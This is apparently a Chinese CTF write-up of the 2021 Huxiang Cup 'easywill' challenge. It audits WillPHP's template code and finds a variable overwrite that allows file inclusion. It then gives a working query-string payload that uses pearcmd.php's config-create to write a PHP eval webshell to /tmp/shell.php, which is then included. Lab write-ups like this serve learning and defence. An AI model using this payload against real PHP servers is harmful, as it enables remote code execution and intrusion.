[HXBCTF 2021]湖湘杯easywill

0x00 前言

这次接触到pear有点陌生
先本地弄弄

敏感利用点
install && config-create

啥是Pear?

pear (全称为PHP扩展与应用库)
1.如前所述,PEAR按照一定的分类来管理PEAR应用代码库,你的PEAR代码可以组织到其中适当的目录中,其他的人可以方便地检索并分享到你的成果。

2.PEAR不仅仅是一个代码仓库,它同时也是一个标准,使用这个标准来书写你的PHP代码,将会增强你的程序的可读性,复用性,减少出错的几率。

3.PEAR通过提供2个类为你搭建了一个框架,实现了诸如析构函数,错误捕获功能,你通过继承就可以使用这些功能。

没有环境手装一下

wget http://pear.php.net/go-pear.phar
php go-pear.phar

一定注意php.ini中register_argc_argv的开启!

pear installl

pear install -R 下载后存放的目录 下载源

-R DIR, --installroot=DIR
root directory used when installing files (ala PHP’s INSTALL_ROOT), use packagingroot for RPM

在这里插入图片描述
在这里插入图片描述

pear config-create

config-create <root path> <filename>
讲真一开始我都没明白咋用
薅了一下源码 发现了几个有意思的地方
在这里插入图片描述
这句话我属实不太会断句了…(原谅我的英文)
我感觉bing的翻译还算靠谱
在这里插入图片描述
大致就是变量设置为<root path>的子目录并保存在<filename>中
在这里插入图片描述
由此处还可以看出 <root path>还需要以 / 开头
大致明白了怎么用之后实操一下
明显看到 <root path> 是作为父级目录的
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
success

关于pearcmd.php 和 register_argc_argv

薅一下pearcmd.php
可以看出通过argv用作command参数
跟进一下readPHPArgv
在这里插入图片描述
在这里插入图片描述
明显可以看到获取argv的逻辑
//Getopt.php
$_SERVER[‘argv’]我们可以通过query string控制
详见下面

    public static function readPHPArgv()
    {
        global $argv;
        if (!is_array($argv)) {
            if (!@is_array($_SERVER['argv'])) {
                if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
                    $msg = "Could not read cmd args (register_argc_argv=Off?)";
                    return PEAR::raiseError("Console_Getopt: " . $msg);
                }
                return $GLOBALS['HTTP_SERVER_VARS']['argv'];
            }
            return $_SERVER['argv'];
        }
        return $argv;
    }

}

register_argc_argv

php.ini中的配置项
在这里插入图片描述
官方文档对于$argv变量的解释
(cli模式)

$argv
$argv — 传递给脚本的参数数组

说明 ¶ 包含当运行于命令行下时传递给当前脚本的参数的数组。

注意: 第一个参数总是当前脚本的文件名,因此 $argv[0] 就是脚本文件名。

注意: 这个变量仅在 register_argc_argv 打开时可用。

范例 ¶ 示例 #1 $argv 范例

<?php var_dump($argv); ?> 当使用这个命令执行:php script.php arg1 arg2 arg3

以上例程的输出类似于:

array(4) { [0]=> string(10) “script.php” [1]=> string(4)
“arg1” [2]=> string(4) “arg2” [3]=> string(4) “arg3” }

在web环境下

‘argv’
传递给该脚本的参数的数组。当脚本以命令行方式运行时,argv 变量传递给程序 C 语言样式的命令行参数。当通过 GET 方式调用时,该变量包含query string。

eg:

<?php
var_dump($_SERVER['argv']);
var_dump($argv);

在这里插入图片描述
后来看到文章里说用+号分隔变量
在这里插入图片描述

fine
冗长の铺垫粽算结束叻

参考文章

https://longlone.top/%E5%AE%89%E5%85%A8/%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6/register_argc_argv%E4%B8%8Einclude%E9%99%90%E5%88%B6php%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BD%BD%E7%9A%84%E5%B0%8F%E7%BB%93/

0x01 开日

<?php
namespace home\controller;
class IndexController{
    public function index(){
        highlight_file(__FILE__);
        assign($_GET['name'],$_GET['value']);
        return view();
    }
}

直接跟进assign

//willphp/helper.php

function assign($name, $value = null) {
	\wiphp\View::assign($name, $value);
}

//willphp/wiphp/View.php

public static function assign($name, $value = null) {
		if ($name != '') self::$vars[$name] = $value;
	} 

再看view

//willphp/helper.php

function view($file = '', $vars = []) {
	return \wiphp\View::fetch($file, $vars);
}

//willphp/wiphp/View.php

public static function fetch($file = '', $vars = []) {
		if (!empty($vars)) self::$vars = array_merge(self::$vars, $vars);	//数组合并
		$viewfile = self::getViewFile($file);
		if (file_exists($viewfile)) {
			array_walk_recursive(self::$vars, 'self::parseVars'); //处理输出
			define('__RUNTIME__', round((microtime(true) - START_TIME) , 4));	
			Template::render($viewfile, self::$vars);
		} else {
			App::halt($file.' 模板文件不存在。');
		}
	}

跟进render
//willphp/wiphp/Template.php

public static function renderTo($viewfile, $vars = []) {
		$m = strtolower(__MODULE__);
		$cfile = 'view-'.$m.'_'.basename($viewfile).'.php';
		if (basename($viewfile) == 'jump.html') {
			$cfile = 'view-jump.html.php';
		}
		$cfile = PATH_VIEWC.'/'.$cfile;
		if (APP_DEBUG || !file_exists($cfile) || filemtime($cfile) < filemtime($viewfile)) {
			$strs = self::compile(file_get_contents($viewfile), $vars);
			file_put_contents($cfile, $strs);
		}
		extract($vars);
		include $cfile;
	}

extract($vars);
include $cfile;
此处存在变量覆盖,可进行文件包含
so
name=cfile & value=xxx(我们想要包含的文件) 即可形成文件包含漏洞
test -> success
在这里插入图片描述
由前言中的铺垫
我们此处可以利用pearcmd进行shell写入
poc

/?name=cfile&value=/usr/local/lib/php/pearcmd.php&+config-create+/<?=eval($_POST[a]);?>+/tmp/shell.php

看到成功写入了
在这里插入图片描述
后面我们只需包含我们刚刚写的shell即可
done!
在这里插入图片描述

参考师傅

https://blog.csdn.net/rfrder/article/details/121042290

0x02 rethink

刚知道vs可以动调
静态一步步看也确实累…(但不失为锻炼审计能力的机会)
这篇wp断断续续写了几天…
学习到新知识点包含pearcmd写shell
讲真第一次看师傅们wp的时候我觉得poc的结构真的好奇怪 有/ 有+ 一开始都不是特别能理解
Anyway,静下心一步步去复盘,梳理清楚,早日上岸当菜鸡
一题多解下次一定⑧!

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值